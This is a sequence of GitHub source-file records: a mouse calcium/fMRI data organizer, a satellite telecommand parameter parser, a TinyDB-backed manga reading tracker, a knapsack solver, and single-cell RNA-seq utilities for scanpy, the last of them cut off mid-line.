ses)\n\t\t\t\trun_ids[_k] = [\n\t\t\t\t\ti for i, k in enumerate(keys)\n\t\t\t\t\tif _k in k\n\t\t\t\t]\n\n\t\twithin_ids = collections.defaultdict(list)\n\t\tfor _k, ids in run_ids.items():\n\t\t\tfor i, j in itertools.combinations(range(len(ids)), 2):\n\t\t\t\twithin_ids[_k].append((ids[i], ids[j]))\n\n\t\tacross_ids = collections.defaultdict(list)\n\t\tfor sub in self.cfg.sub_ids:\n\t\t\tfor a, b in itertools.combinations(self.cfg.ses_ids, 2):\n\t\t\t\tka = self.get_key(sub, a)\n\t\t\t\tkb = self.get_key(sub, b)\n\t\t\t\tids_a = run_ids[ka]\n\t\t\t\tids_b = run_ids[kb]\n\t\t\t\t_k = f\"sub{sub}_ses{a}v{b}\"\n\t\t\t\tacross_ids[_k] = list(itertools.product(ids_a, ids_b))\n\n\t\tids = {\n\t\t\t'run': run_ids,\n\t\t\t'within': dict(within_ids),\n\t\t\t'across': dict(across_ids),\n\t\t}\n\t\treturn ids\n\n\tdef combine_keys(self, mode: str):\n\t\tcombine = collections.defaultdict(list)\n\t\tproc, *_ = self.get_data_containers(mode)\n\t\tfor key in self.looper_agg:\n\t\t\tcombine[key] = sorted(filter(\n\t\t\t\tlambda k: all(\n\t\t\t\t\te in k for e in\n\t\t\t\t\tkey.split('_')),\n\t\t\t\tlist(proc),\n\t\t\t))\n\t\treturn dict(combine)\n\n\tdef cat_data(self, **kwargs): # TODO: Useless, delete\n\t\tself.set_kws(**kwargs)\n\t\tlooper = {\n\t\t\t'ca2': self.cfg.ca_dir,\n\t\t\t'bold': self.cfg.bold_dir,\n\t\t}\n\t\tcombine_info = collections.defaultdict(dict)\n\t\tfor mode, save_dir in looper.items():\n\t\t\tfor task in ['rest', 'led', 'all']:\n\t\t\t\tself.setup_func_data(task=task)\n\t\t\t\tcombined, meta = self._concatenate(mode, task)\n\t\t\t\tcombine_info[f\"{mode}_{task}\"] = meta\n\t\t\t\tfor key, x in combined.items():\n\t\t\t\t\tfile_name = _get_cat_name(\n\t\t\t\t\t\tkey=key,\n\t\t\t\t\t\ttask=task,\n\t\t\t\t\t\tmode=mode,\n\t\t\t\t\t)\n\t\t\t\t\tsave_obj(\n\t\t\t\t\t\tobj=x,\n\t\t\t\t\t\tfile_name=file_name,\n\t\t\t\t\t\tsave_dir=save_dir,\n\t\t\t\t\t\tverbose=False,\n\t\t\t\t\t\tmode='npy',\n\t\t\t\t\t)\n\t\tsave_obj(\n\t\t\tobj=dict(combine_info),\n\t\t\tfile_name='combine_info',\n\t\t\tsave_dir=self.cfg.main_dir,\n\t\t\tverbose=True,\n\t\t\tmode='npy',\n\t\t)\n\t\treturn\n\n\tdef _concatenate(self, mode: str, task: str):\n\t\tassert task in ['rest', 'led', 'all'], \\\n\t\t\tf\"invalid task: '{task}'\"\n\t\ttasks = ['rest', 'led'] if task == 'all' else [task]\n\n\t\tcombined, meta = {}, {}\n\t\tfor key in self.looper_agg:\n\t\t\tpooled = self._pool_data(key, mode, tasks)\n\t\t\tif len(pooled):\n\t\t\t\tx = [e for e in pooled.values()]\n\t\t\t\tcombined[key] = np.concatenate(x, axis=1)\n\t\t\t\tmeta[key] = list(pooled)\n\t\tfor ses in self.cfg.ses_ids:\n\t\t\tpooled = self._pool_data(f\"ses-{ses}\", mode, tasks)\n\t\t\tassert all(self.looper[k][1] == ses for k in pooled)\n\t\t\tkey = self.get_key(ses=ses)\n\t\t\tx = [e for e in pooled.values()]\n\t\t\tcombined[key] = np.concatenate(x, axis=1)\n\t\t\tmeta[key] = list(pooled)\n\t\treturn combined, meta\n\n\tdef _pool_data(self, key, mode, tasks, verbose=True):\n\t\tproc, *_ = self.get_data_containers(mode)\n\t\tdata = {}\n\t\tfor k, func in proc.items():\n\t\t\tcond = func.task in tasks\n\t\t\tcond = cond and key in k\n\t\t\tif not cond:\n\t\t\t\tcontinue\n\t\t\tx = func[:]\n\t\t\tnans = np.isnan(x).sum(1)\n\t\t\tnans = nans.astype(bool).sum()\n\t\t\tnans /= len(x)\n\t\t\tif nans > 0.5:\n\t\t\t\tmsg = f\"Warning, {k}: {100 * nans:0.0f}\"\n\t\t\t\tmsg += ' % of ROIs are nan. '\n\t\t\t\tmsg += 'Moving on . . .'\n\t\t\t\tif verbose:\n\t\t\t\t\tprint(msg)\n\t\t\t\tcontinue\n\t\t\tdata[k] = x\n\t\treturn data\n\n\tdef load_stim_times(self, mode: str):\n\t\tproc, _, _, fs, stim_key = self.get_data_containers(mode)\n\t\tdlist = []\n\t\tfor key, ssr in self.looper.items():\n\t\t\tif key not in proc or any(i == -1 for i in ssr):\n\t\t\t\tcontinue\n\t\t\ta = self.cfg.exclude\n\t\t\ta += self.cfg.run_duration * (ssr[-1] - 1)\n\t\t\tb = self.cfg.run_duration * ssr[-1]\n\t\t\ttimepoint = range(a * fs, b * fs)\n\t\t\ttry:\n\t\t\t\tf = os.listdir(self.cfg.stim_dir)\n\t\t\t\tf = next(x for x in sorted(f) if key in x)\n\t\t\t\tf = pjoin(self.cfg.stim_dir, f)\n\t\t\t\tstim = pd.read_csv(f, index_col=0)\n\t\t\t\tstim = stim.loc[:, stim_key]\n\t\t\t\tstim = stim.dropna().values\n\t\t\texcept StopIteration:\n\t\t\t\tstim = np.zeros(self.cfg.run_duration * fs)\n\t\t\tdlist.append({\n\t\t\t\t'key': [key] * len(timepoint),\n\t\t\t\t'mode': [mode] * len(timepoint),\n\t\t\t\t'task': [proc[key].task] * len(timepoint),\n\t\t\t\t'timepoint': timepoint,\n\t\t\t\t'stim': stim[-len(timepoint):].astype(int),\n\t\t\t})\n\t\treturn pd.DataFrame(merge_dicts(dlist))\n\n\tdef setup_anat_data(self):\n\t\tfor key, (sub, ses, run) in self.looper.items():\n\t\t\tif sub == -1 or ses == -1 or run != -1:\n\t\t\t\tcontinue\n\t\t\tself.ref[key] = AnatData(key, 'referenceimage_ca2', self.cfg)\n\t\t\tself.T1w[key] = AnatData(key, 'T1w', self.cfg)\n\t\t\tself.mask2d[key] = AnatData(key, 'mask_ca2', self.cfg)\n\t\t\tself.mask3d[key] = AnatData(key, 'mask_bold', self.cfg)\n\t\treturn\n\n\tdef setup_preproc_data(self, **kwargs):\n\t\tself.set_kws(**kwargs)\n\t\tprops = {\n\t\t\t'cfg': self.cfg,\n\t\t\t'space': 'individual',\n\t\t}\n\t\tfor key, (sub, ses, run) in self.looper.items():\n\t\t\tif any(i == -1 for i in [sub, ses, run]):\n\t\t\t\tcontinue\n\t\t\tself.ca_preproc[key] = FuncData(\n\t\t\t\tkey, 'ca2', desc=self.kws.get('desc_ca2'), **props)\n\t\t\tself.bold_preproc[key] = FuncData(\n\t\t\t\tkey, 'bold', desc=self.kws.get('desc_bold'), **props)\n\t\treturn\n\n\tdef set_kws(self, **kwargs):\n\t\tif not self.kws:\n\t\t\tdefaults = dict(\n\t\t\t\ttask='rest',\n\t\t\t\texclude=True,\n\t\t\t\truns_only=True,\n\t\t\t\tband_ca2=_setup_band(\n\t\t\t\t\t0.01, self.cfg.fs_ca),\n\t\t\t\tband_bold=_setup_band(\n\t\t\t\t\t0.01, self.cfg.fs_bold),\n\t\t\t\tdesc_ca2='preproc',\n\t\t\t\tdesc_bold='rabies-hp',\n\t\t\t)\n\t\t\tself.kws = setup_kwargs(\n\t\t\t\tdefaults=defaults,\n\t\t\t\tkwargs=kwargs,\n\t\t\t)\n\t\tfor k, v in kwargs.items():\n\t\t\tif k == 'band_ca2':\n\t\t\t\tself.kws[k] = _setup_band(\n\t\t\t\t\tv, self.cfg.fs_ca)\n\t\t\telif k == 'band_bold':\n\t\t\t\tself.kws[k] = _setup_band(\n\t\t\t\t\tv, self.cfg.fs_bold)\n\t\t\telse:\n\t\t\t\tself.kws[k] = v\n\t\tassert all(\n\t\t\tisinstance(self.kws[e], str) for e in\n\t\t\t['task', 'desc_ca2', 'desc_bold']\n\t\t)\n\t\treturn\n\n\tdef setup_func_data(self, **kwargs):\n\t\tself.set_kws(**kwargs)\n\t\tprops = {\n\t\t\t'space': 'CCF',\n\t\t\t'cfg': self.cfg,\n\t\t\t'task': self.kws['task'] if\n\t\t\tself.kws['task'] in ['rest', 'led']\n\t\t\telse None,\n\t\t}\n\t\tself.ca, self.bold = {}, {}\n\t\tfor key in self.looper:\n\t\t\tif self.kws['runs_only'] and 'run' not in key:\n\t\t\t\tcontinue\n\t\t\t# ca\n\t\t\tfunc = FuncData(\n\t\t\t\tkey=key,\n\t\t\t\tmode='ca2',\n\t\t\t\tdesc=self.kws.get('desc_ca2'),\n\t\t\t\t**props,\n\t\t\t)\n\t\t\tif self.kws['exclude'] and self.looper[key] in _EXCLUDE_CA:\n\t\t\t\tskip = True\n\t\t\telse:\n\t\t\t\tskip = func.npy_file is None\n\t\t\tif not skip:\n\t\t\t\tself.ca[key] = func\n\t\t\t# bold\n\t\t\tfunc = FuncData(\n\t\t\t\tkey=key,\n\t\t\t\tmode='bold',\n\t\t\t\tdesc=self.kws.get('desc_bold'),\n\t\t\t\t**props,\n\t\t\t)\n\t\t\tif self.kws['exclude'] and self.looper[key] in _EXCLUDE_BOLD:\n\t\t\t\tskip = True\n\t\t\telse:\n\t\t\t\tskip = func.npy_file is None\n\t\t\tif not skip:\n\t\t\t\tself.bold[key] = func\n\t\treturn\n\n\tdef get_data_containers(\n\t\t\tself,\n\t\t\tmode: str,\n\t\t\tforce: bool = False,\n\t\t\t**kws_func, ):\n\t\tdef _retrieve():\n\t\t\tif mode == 'ca2':\n\t\t\t\t_proc = getattr(self, 'ca', {})\n\t\t\t\t_preproc = getattr(self, 'ca_preproc', {})\n\t\t\t\t_masks = getattr(self, 'mask2d', {})\n\t\t\t\t_fs = self.cfg.fs_ca\n\t\t\t\t_stim_key = 'ledStim10Hz'\n\t\t\telif mode == 'bold':\n\t\t\t\t_proc = getattr(self, 'bold', {})\n\t\t\t\t_preproc = getattr(self, 'bold_preproc', {})\n\t\t\t\t_masks = getattr(self, 'mask3d', {})\n\t\t\t\t_fs = self.cfg.fs_bold\n\t\t\t\t_stim_key = 'ledStim1Hz'\n\t\t\telse:\n\t\t\t\traise ValueError(f\"invalid mode: '{mode}'\")\n\t\t\treturn _proc, _preproc, _masks, _fs, _stim_key\n\t\tif force or not (self.ca or self.bold):\n\t\t\tself.setup_func_data(**kws_func)\n\t\treturn _retrieve()\n\n\tdef _load_node_lookup(self):\n\t\tlookup = 'roi_lookup.npy'\n\t\tlookup = pjoin(self.cfg.main_dir, lookup)\n\t\ttry:\n\t\t\tnode_lookup = np.load(\n\t\t\t\tlookup, allow_pickle=True).item()\n\t\t\t# noinspection PyTypeChecker\n\t\t\tself.node_lookup = dict(node_lookup)\n\t\texcept FileNotFoundError:\n\t\t\tmsg = 'ROI lookup not found, '\n\t\t\tmsg += 'time to run organize_func() . . .'\n\t\t\tprint(msg)\n\t\t\tself.node_lookup = {}\n\t\treturn\n\n\tdef _setup_looper(self):\n\t\tlooper = {}\n\n\t\t# across runs\n\t\tfor sub in self.cfg.sub_ids:\n\t\t\tfor ses in self.cfg.ses_ids:\n\t\t\t\tfor run in self.cfg.run_ids:\n\t\t\t\t\tkey = [\n\t\t\t\t\t\tf\"sub-{self.cfg.group}{sub:02d}\",\n\t\t\t\t\t\tf\"ses-{ses:d}\",\n\t\t\t\t\t\tf\"run-{run:d}\",\n\t\t\t\t\t]\n\t\t\t\t\tkey = '_'.join(key)\n\t\t\t\t\tval = (sub, ses, run)\n\t\t\t\t\tlooper[key] = val\n\n\t\t# across sessions (cat all runs)\n\t\tfor sub in self.cfg.sub_ids:\n\t\t\tfor ses in self.cfg.ses_ids:\n\t\t\t\tkey = [\n\t\t\t\t\tf\"sub-{self.cfg.group}{sub:02d}\",\n\t\t\t\t\tf\"ses-{ses:d}\",\n\t\t\t\t]\n\t\t\t\tkey = '_'.join(key)\n\t\t\t\tif not any(key in e for e in looper):\n\t\t\t\t\tcontinue\n\t\t\t\tval = (sub, ses, -1)\n\t\t\t\tlooper[key] = val\n\n\t\t# across subjects (cat all sessions and runs)\n\t\tfor sub in self.cfg.sub_ids:\n\t\t\tkey = f\"sub-{self.cfg.group}{sub:02d}\"\n\t\t\tval = (sub, -1, -1)\n\t\t\tlooper[key] = val\n\n\t\t# global (cat all subjects, sessions, and runs)\n\t\tkey = f\"sub-{self.cfg.group}\"\n\t\tval = (-1, -1, -1)\n\t\tlooper[key] = val\n\n\t\t# across sessions (cat all subjects)\n\t\tfor ses in self.cfg.ses_ids:\n\t\t\tkey = f\"sub-{self.cfg.group}_ses-{ses:d}\"\n\t\t\tval = (-1, ses, -1)\n\t\t\tlooper[key] = val\n\t\treturn looper\n\n\ndef _setup_band(b, fs):\n\tif isinstance(b, tuple):\n\t\tassert 0 <= b[0] and b[1] <= fs / 2\n\t\treturn b\n\telif isinstance(b, (float, int)):\n\t\tassert 0 <= b < fs / 2\n\t\treturn float(b), fs / 2\n\telif b is None:\n\t\treturn 0.0, fs / 2\n\telse:\n\t\traise RuntimeError(f\"invalid band: '{b}'\")\n\n\ndef _get_cat_name(key, task, mode):\n\tdim = '2d' if mode == 'ca2' else '3d'\n\tname = [\n\t\tkey,\n\t\tf\"task-{task}\",\n\t\tf\"space-CCF{dim}\",\n\t\tmode,\n\t]\n\treturn '_'.join(name)\n","repo_name":"hadivafaii/Ca-fMRI","sub_path":"model/mouse.py","file_name":"mouse.py","file_ext":"py","file_size_in_byte":10955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1944261237","text":"class Parameters:\r\n '''\r\n Extracts telecommand parameters from frame payload.\r\n '''\r\n CORRELATION_ID_OFFSET = 0\r\n END_OF_PATH_BYTE = 0x0\r\n PATH_INCLUDED = True\r\n\r\n @classmethod\r\n def get_parameters(self, frame_payload):\r\n params = []\r\n for index in range(0, self.END_OF_PARAMS_OFFSET):\r\n value = 0\r\n try:\r\n value = ord(frame_payload[index])\r\n except TypeError:\r\n value = frame_payload[index]\r\n params.append(value)\r\n\r\n if self.PATH_INCLUDED:\r\n path = \"\"\r\n for index in range(self.END_OF_PARAMS_OFFSET, len(frame_payload)):\r\n value = 0\r\n try:\r\n value = ord(frame_payload[index])\r\n except TypeError:\r\n value = frame_payload[index]\r\n if value == self.END_OF_PATH_BYTE:\r\n break\r\n path = path + str(frame_payload[index])\r\n\r\n params.append(path)\r\n return params\r\n","repo_name":"PW-Sat2/GSControl","sub_path":"radio/analyzer_engine/scheduled_tasks/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"72859677042","text":"from pathlib import Path\n\nfrom appdirs import AppDirs\nfrom tinydb import Query\nfrom tinydb import TinyDB\n\n# Initialize user config\ndirs = AppDirs(\"ronpari\")\nconfig = Path(dirs.user_config_dir)\nif not config.exists():\n config.mkdir()\n\ndb = TinyDB(config / \"db.json\")\n\n\ndef update_user(user, password, path):\n User = Query()\n user_table = db.table(\"user\")\n user_table.upsert(\n {\"user\": user, \"password\": password, \"path\": path}, User.user == user\n )\n\n\ndef get_user() -> dict:\n user = db.table(\"user\")\n results = user.all()\n if results:\n return results[0]\n return {}\n\n\ndef get_path() -> str:\n user = get_user()\n if user:\n return user.get(\"path\", \"\")\n return \"~/Downloads\"\n\n\ndef update_manga(\n title,\n manga_id=None,\n total_chapters=None,\n current_chapter=None,\n last_downloaded=None,\n chapter_map=None,\n):\n Manga = Query()\n manga_table = db.table(\"manga\")\n data = {\n \"title\": title,\n }\n\n if current_chapter is not None:\n data[\"current_chapter\"] = current_chapter\n\n if chapter_map is not None:\n data[\"chapter_map\"] = chapter_map\n\n if total_chapters is not None:\n data[\"total_chapters\"] = total_chapters\n\n if last_downloaded is not None:\n data[\"last_downloaded\"] = last_downloaded\n\n if manga_id is not None:\n data[\"manga_id\"] = manga_id\n\n manga_table.upsert(data, Manga.title == title)\n\n\ndef update_progress(manga_id, manga_number, chapter):\n \"\"\"Update various stats.\"\"\"\n Progress = Query()\n progress_table = db.table(\"progress\")\n data = {\n \"meta\": \"stats\",\n \"manga_id\": manga_id,\n \"number\": manga_number,\n \"chapter\": chapter,\n }\n progress_table.upsert(data, Progress.meta == \"stats\")\n\n\ndef get_progress():\n # Progress = Query()\n progress_table = db.table(\"progress\")\n results = progress_table.all()\n if results:\n return results[0]\n return {}\n\n\ndef get_manga(show_archived=False) -> list:\n \"\"\"Get manga list but optionally hide|show archived entities.\"\"\"\n manga_table = db.table(\"manga\")\n manga_list = manga_table.all()\n if not show_archived:\n manga_list = [m for m in manga_list if not m.get(\"archived\", False)]\n return manga_list\n\n\ndef archive_manga(manga_title):\n Manga = Query()\n manga_table = db.table(\"manga\")\n data = {\"archived\": True}\n manga_table.upsert(data, Manga.title == manga_title)\n\n\ndef restore_manga(manga_title):\n Manga = Query()\n manga_table = db.table(\"manga\")\n data = {\"archived\": False}\n manga_table.upsert(data, Manga.title == manga_title)\n\n\ndef move_bottom(manga_title):\n manga_table = db.table(\"manga\")\n entry_to_move = Query().title == manga_title\n entry = manga_table.get(entry_to_move)\n\n if entry:\n # remove the entry\n manga_table.remove(entry_to_move)\n # insert the entry as the last one\n manga_table.insert(entry)\n\n\ndef move_top(manga_title):\n ...\n","repo_name":"Xifax/ronpari","sub_path":"src/ronpari/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18372360242","text":"import sys\n\n\ndef knapsack(val, wt, W, n):\n K = [[0 for j in range(len(wt) + 1)] for i in range(W + 1)]\n\n for j in range(1, len(wt) + 1):\n for i in range(1, W + 1):\n if wt[j-1] > i:\n K[i][j] = K[i][j - 1]\n else:\n K[i][j] = max(K[i-wt[j-1]][j - 1]+val[j-1], K[i][j - 1])\n\n return K[W][n]\n\n\ndef main():\n val = [60, 100, 120, 400]\n wt = [10, 20, 30, 40]\n W = 50\n n = len(val)\n print(knapsack(val, wt, W, n))\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"sayali-sonawane/Algorithm","sub_path":"knapsack.py","file_name":"knapsack.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32005761829","text":"\nimport pickle\nimport os\nimport scipy.sparse\nimport numpy as np\nimport pandas as pd\nimport scanpy.api as sc\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\n\n# LOADING DATA\n\ndef load_inDrops_V3(library_names, input_path):\n '''\n Imports inDrops V3 data files. The first time this function is executed, it will load\n counts matrices, gene names, cell names, and cell barcode sequences from original tsv and pickle\n files, respectively. Fast-loading versions of these objects (e.g. *.npz) will be saved for \n future calls to this function.\n The returned dictionary object D includes the following entries: \n 'E', meta', 'gene_names', 'cell_names', 'cell_bc_seqs'\n '''\n\n # Create a dictionary to hold data\n D = {}\n for j, s in enumerate(library_names):\n D[s] = {}\n\n # Load counts data, metadata, & convert to AnnData objects\n for s in library_names:\n print('_________________', s)\n\n # First attempt to load matrix data from preprocessed files (fast)\n if os.path.isfile(input_path + s + '/' + s + '.raw_counts.unfiltered.npz'):\n print('Loading from npz file')\n E = scipy.sparse.load_npz(\n input_path + s + '/' + s + '.raw_counts.unfiltered.npz')\n gene_names = np.loadtxt(\n fname=input_path + s + '/gene_names.txt', dtype='str')\n cell_names = np.loadtxt(\n fname=input_path + s + '/cell_names.txt', dtype='str')\n cell_bc_seqs = np.loadtxt(\n fname=input_path + s + '/cell_bc_seqs.txt', dtype='str')\n\n # Otherwise, load and preprocess from the original text files (slow)\n else:\n print('Loading from text file')\n counts_mat = pd.read_csv(\n input_path + s + '/' + s + '.counts.tsv.gz', sep='\\t', index_col=0)\n E = scipy.sparse.coo_matrix(np.asmatrix(counts_mat.values)).tocsc()\n cell_names = counts_mat.index\n gene_names = counts_mat.columns\n\n # Load the barcode dictionary pickle file, format as keys=bcodes; values=sequences\n f = open(input_path + s + '/abundant_barcodes.pickle', 'rb')\n bc_dict = pickle.load(f)\n f.close()\n bcd_dict = {bc_dict[bc][0]: bc for bc in bc_dict}\n\n # Get barcode sequences corresponding to each cell index\n bcd_seqs = []\n for cname in counts_mat.index:\n bcd_seqs.append(s + '_' + bcd_dict.get(cname))\n cell_bc_seqs = bcd_seqs\n\n # Save fast files for next time\n scipy.sparse.save_npz(input_path + s + '/' +\n s + '.raw_counts.unfiltered.npz', E)\n np.savetxt(input_path + s + '/gene_names.txt',\n counts_mat.columns, fmt='%s')\n np.savetxt(input_path + s + '/cell_names.txt',\n counts_mat.index, fmt='%s')\n np.savetxt(input_path + s + '/cell_bc_seqs.txt',\n bcd_seqs, fmt='%s')\n\n # Print matrix dimensions to screen\n print(E.shape, '\\n')\n\n # Convert to ScanPy AnnData objects\n D[s]['adata'] = sc.AnnData(E)\n D[s]['adata'].obs['n_counts'] = D[s]['adata'].X.sum(1).A1\n D[s]['adata'].var_names = gene_names\n D[s]['adata'].obs['unique_cell_id'] = cell_bc_seqs\n D[s]['adata'].obs['cell_names'] = cell_names\n D[s]['adata'].obs['library_id'] = np.tile(s, [D[s]['adata'].n_obs, 1])\n D[s]['adata'].uns['library_id'] = s\n\n return D\n\n\ndef load_celldata(adata, csv_filename, filter_nomatch=False):\n '''\n Adds cell annotations to the 'obs' dataframe of a ScanPy AnnData object (adata) from an imported CSV file. \n Uses a set of unique cell identifiers (e.g. inDrops cell barcode sequences) to match cells. These \n identifiers are present in AnnData (in adata.obs.unique_cell_id) and in the first column of the CSV file.\n\n The structure of the CSV file is as follows:\n Column 1: unique cell identifiers (exact string matches to elements of adata.obs.unique_cell_id)\n Column 2: first cell annotation\n Column 3: second cell annotation\n ... .... \n Column n: last cell annotation \n Column headers in the CSV file (required) will become headers of new columns in adata.obs \n\n Unique cell ids in adata that no not appear in the CSV file will be annotated as 'no match'.\n 'filter_nomatch' gives an option to remove these cells in the outputted version of adata.\n '''\n\n uID_query = adata.obs.unique_cell_id\n\n # load CSV header, get the names and number of IDs\n header = pd.read_csv(csv_filename, nrows=0)\n annotation_names = list(header.columns.values)[\n 1:] # ignore the first column header\n nAnnotations = len(annotation_names)\n\n # make a dictionary of unique cell IDs and annotations from the CSV file\n loadtxt = np.loadtxt(csv_filename, dtype='str', delimiter=',', skiprows=1)\n annotation_dict = {}\n for uID, *annots in loadtxt: # column1 = uID, all remaining columns are annotations\n annotation_dict[uID] = annots\n\n # lookup each query in the dictionary, return matching annotations (or NaNs)\n annotations = []\n for j, uID in enumerate(uID_query):\n if uID in annotation_dict:\n match = annotation_dict.get(uID)\n annotations.append(match)\n else:\n annotations.append(np.repeat('no match', nAnnotations).tolist())\n\n # convert from list of lists to array\n annotations = np.array(annotations)\n\n # now copy the matched annotations to adata\n for j in range(0, nAnnotations):\n adata.obs[annotation_names[j]] = annotations[:, j]\n\n # if invoked, remove cells that were not present in the annotation CSV file\n if filter_nomatch:\n adata = adata[adata.obs[annotation_names[j]] != 'no match', :]\n\n return adata\n\n\n# DATA PRE-PROCESSING\n\ndef filter_abundant_barcodes(adata, filter_cells=True, save_path='./figures/'):\n '''\n Plots a weighted histogram of transcripts per cell barcode for guiding the\n placement of a filtering threshold. Returns a filtered version of adata. \n '''\n\n # If necessary, create the output directory\n if not os.path.isdir(save_path):\n os.makedirs(save_path)\n\n # Load counts data etc from adata\n counts = adata.obs['n_counts'].values\n threshold = adata.uns['counts_thresh']\n library_name = adata.uns['library_id']\n\n # Plot and format a weighted counts histogram\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.hist(counts, bins=np.logspace(0, 6, 100), weights=counts / sum(counts))\n ax.set_xscale('log')\n ax.set_xlabel('Transcripts per cell barcode')\n ax.set_ylabel('Fraction of total transcripts')\n ax.set_title(library_name + ' (Weighted)')\n\n # Overlay the counts threshold as a vertical line\n ax.plot([threshold, threshold], ax.get_ylim())\n\n # Save figure to file\n fig.tight_layout()\n plt.savefig(save_path + 'barcode_hist_' + library_name + '.png')\n plt.show()\n plt.close()\n\n # Print the number of cell barcodes that will be retained vs. the total number of\n # cell barcodes in the library\n ix = counts >= threshold\n print('Filtering barcodes for', library_name,\n ' (', np.sum(ix), '/', counts.shape[0], ')')\n\n # Return a filtered version of adata\n if filter_cells:\n sc.pp.filter_cells(adata, min_counts=threshold, inplace=True)\n\n return adata, fig, ax\n\n\n# VARIABLE GENES\n\ndef get_vscores(E, min_mean=0, nBins=50, fit_percentile=0.1, error_wt=1):\n '''\n Calculate v-score (above-Poisson noise statistic) for genes in the input counts matrix\n Return v-scores and other stats\n '''\n\n ncell = E.shape[0]\n\n mu_gene = E.mean(axis=0).A.squeeze()\n gene_ix = np.nonzero(mu_gene > min_mean)[0]\n mu_gene = mu_gene[gene_ix]\n\n tmp = E[:, gene_ix]\n tmp.data **= 2\n var_gene = tmp.mean(axis=0).A.squeeze() - mu_gene ** 2\n del tmp\n FF_gene = var_gene / mu_gene\n\n data_x = np.log(mu_gene)\n data_y = np.log(FF_gene / mu_gene)\n\n x, y = runningquantile(data_x, data_y, fit_percentile, nBins)\n x = x[~np.isnan(y)]\n y = y[~np.isnan(y)]\n\n def gLog(input): return np.log(input[1] * np.exp(-input[0]) + input[2])\n h, b = np.histogram(np.log(FF_gene[mu_gene > 0]), bins=200)\n b = b[:-1] + np.diff(b) / 2\n max_ix = np.argmax(h)\n c = np.max((np.exp(b[max_ix]), 1))\n\n def errFun(b2): return np.sum(abs(gLog([x, c, b2]) - y) ** error_wt)\n b0 = 0.1\n b = scipy.optimize.fmin(func=errFun, x0=[b0], disp=False)\n a = c / (1 + b) - 1\n\n v_scores = FF_gene / ((1 + a) * (1 + b) + b * mu_gene)\n CV_eff = np.sqrt((1 + a) * (1 + b) - 1)\n CV_input = np.sqrt(b)\n\n return v_scores, CV_eff, CV_input, gene_ix, mu_gene, FF_gene, a, b\n\n\ndef filter_variable_genes(E, base_ix=[], min_vscore_pctl=85, min_counts=3, min_cells=3, show_vscore_plot=False, sample_name=''):\n ''' \n Filter genes by expression level and variability\n Return list of filtered gene indices\n '''\n\n if len(base_ix) == 0:\n base_ix = np.arange(E.shape[0])\n\n Vscores, CV_eff, CV_input, gene_ix, mu_gene, FF_gene, a, b = get_vscores(\n E[base_ix, :])\n ix2 = Vscores > 0\n Vscores = Vscores[ix2]\n gene_ix = gene_ix[ix2]\n mu_gene = mu_gene[ix2]\n FF_gene = FF_gene[ix2]\n min_vscore = np.percentile(Vscores, min_vscore_pctl)\n ix = (((E[:, gene_ix] >= min_counts).sum(0).A.squeeze()\n >= min_cells) & (Vscores >= min_vscore))\n\n if show_vscore_plot:\n import matplotlib.pyplot as plt\n x_min = 0.5 * np.min(mu_gene)\n x_max = 2 * np.max(mu_gene)\n xTh = x_min * np.exp(np.log(x_max / x_min) * np.linspace(0, 1, 100))\n yTh = (1 + a) * (1 + b) + b * xTh\n plt.figure(figsize=(8, 6))\n plt.scatter(np.log10(mu_gene), np.log10(FF_gene),\n c=[.8, .8, .8], alpha=0.3, edgecolors='')\n plt.scatter(np.log10(mu_gene)[ix], np.log10(FF_gene)[\n ix], c=[0, 0, 0], alpha=0.3, edgecolors='')\n plt.plot(np.log10(xTh), np.log10(yTh))\n plt.title(sample_name)\n plt.xlabel('log10(mean)')\n plt.ylabel('log10(Fano factor)')\n plt.show()\n\n return gene_ix[ix]\n\n\n# GEPHI IMPORT & EXPORT\n\ndef export_to_graphml(adata, filename='test.graphml', directed=None): \n import igraph as ig\n\n adjacency = adata.uns['neighbors']['connectivities']\n\n sources, targets = adjacency.nonzero()\n weights = adjacency[sources, targets]\n if isinstance(weights, np.matrix):\n weights = weights.A1\n g = ig.Graph(directed=directed)\n g.add_vertices(adjacency.shape[0]) # this adds adjacency.shap[0] vertices\n g.add_edges(list(zip(sources, targets)))\n try:\n g.es['weight'] = weights\n except:\n pass\n if g.vcount() != adjacency.shape[0]:\n logg.warn('The constructed graph has only {} nodes. '\n 'Your adjacency matrix contained redundant nodes.'\n .format(g.vcount()))\n g.write_graphml(filename)\n\n\ndef import_pajek_xy(adata, filename='test.net'):\n \n # first determine the number of graph nodes in *.net file\n with open(filename,'r') as file:\n nNodes = 0\n for ln,line in enumerate(file):\n if line.startswith(\"*Edges\"):\n nNodes = ln-1\n\n # extract xy coordinates from *.net file\n with open(filename,'r') as file:\n lines=file.readlines()[1:nNodes+1] \n xy = np.empty((nNodes,2))\n for ln,line in enumerate(lines):\n xy[ln,0]=(float(line.split(' ')[2]))\n xy[ln,1]=(float(line.split(' ')[3]))\n\n # generate ForceAtlas2 data structures and update coordinates\n sc.tl.draw_graph(adata, layout='fa', iterations=1)\n adata.obsm['X_draw_graph_fa']=xy\n\n return adata\n\n\n# CLASSIFICATION\n\ndef train_classifiers(X, labels, PCs, gene_ind):\n '''\n Trains a series of machine learning classifiers to associate individual cells with class labels.\n Does so in a low-dimensional PCA representation of the data (PCs) over pre-defined genes (gene_ind).\n '''\n\n # Import sklearn classifier packages\n from sklearn.model_selection import train_test_split\n from sklearn.neural_network import MLPClassifier\n from sklearn.neighbors import KNeighborsClassifier\n from sklearn.svm import SVC\n from sklearn.tree import DecisionTreeClassifier\n from sklearn.ensemble import RandomForestClassifier\n from sklearn.naive_bayes import GaussianNB\n from sklearn.discriminant_analysis import LinearDiscriminantAnalysis \n\n\n # Subset by gene indices; project X into PCA subspace\n X_ind = X[:,gene_ind]\n PCs_ind = PCs[gene_ind,:]\n X_PCA = np.matmul(X_ind,PCs_ind)\n \n # Specify classifiers and their settings \n classifier_names = ['NearestNeighbors', 'RandomForest', 'NeuralNet', 